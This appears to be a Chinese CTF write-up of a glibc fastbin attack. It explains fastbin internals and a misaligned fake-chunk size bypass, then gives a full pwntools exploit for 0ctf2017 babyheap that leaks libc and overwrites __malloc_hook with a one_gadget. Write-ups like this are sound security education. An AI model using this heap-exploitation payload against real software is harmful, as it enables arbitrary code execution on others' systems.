0x01 基础知识
fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。
+------------------+
------------------
------------------
+------------------+
fastbin为单链表,,fastbin为了快速分配回收这些较小size的chunk,并没对之前提到的bk进行操作,即仅仅通过fd组成了单链表而非双向链表,而且其遵循后进先出(LIFO)的原则。
0x02 利用方法
- 分配两个fastbin
- 利用堆溢出能够覆盖位于高地址的fd指针
- 构造伪chunk结构
- 进行分配达到任意地址写的目的
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
因为检查中没有进行对齐处理。所以可以利用错位来构造一个伪size结构以实现fasbin attack
0x03 实例
0ctf2017 babyheap
利用
- 泄露libc库,该手法本文不多做介绍
- fastbin attack劫持程序流
1.malloc fastbin1
2.malloc fastbin2
3.free fastbin2
4.通过堆溢出修改fastbin2的fd指针
5.重新malloc fastbin2覆盖malloc_hook
6.修改hook指向one_gadget
需要注意的是libc在fastbin size还有一个检测,这个检测是:如果分配出来的chunk的size不属于这个fastbin,那么会出现memory corruption(fast) 的错误。
我们此处就是利用错位构造了伪chunk实例fastbin attack
gef x/10x 0x7f3874b5fb10-0x20
0x7f3874b5faf0 <_IO_wide_data_0+304>: 0x00007f3874b5e260 0x0000000000000000
0x7f3874b5fb00 <__memalign_hook>: 0x00007f3874820e20 0x00007f3874820a00
0x7f3874b5fb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f3874b5fb20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f3874b5fb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
可以发现__memalign_hook的地址的第三个字节为0x7f,那么我们就可以利用错位来构造伪chunk,将fastbin2的fd指向malloc_hook-24-3-8
EXP
from pwn import *
context(log_level='debug')
p = process('./babyheap')
libc = ELF('./libc.so.6')
def allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('ize: ')
p.sendline(str(size))
def fill(index,size,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:')
p.send(content)
def free(index):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
def dump(index):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
data = p.recvuntil('1. Allocate')[:-(1+len('1. Allocate'))]
return data
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
def pwn():
allocate(0x60)
allocate(0x40)
payload1 = 'a'*0x60 + p64(0) + p64(0x71)
fill(0, len(payload1),payload1)
allocate(0x100)
payload2 = 'b'*0x10 + p64(0) + p64(0x71)
fill(2, len(payload2), payload2)
free(1)
payload3 = 'a' *0x40 + p64(0) + p64(0x111)
allocate(0x60)
fill(1,len(payload3),payload3)
allocate(0x50)
free(2)
data = u64(dump(1)[-8:])
print hex(data)
bin_offset = 0x3c4b78
libc_base = data - bin_offset
one_gadget = 0x4526a
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
free(1)
payload4 = 'a'*0x60+ p64(0) + p64(0x71) + p64(malloc_hook-27-0x8) +p64(0)
fill(0, len(payload4), payload4)
launch_gdb()
allocate(0x60)
allocate(0x60)
payload = 'a'*19 + p64(libc_base + one_gadget)
fill(2, len(payload), payload)
allocate(0x20)
p.interactive()
if __name__ == '__main__':
pwn()
|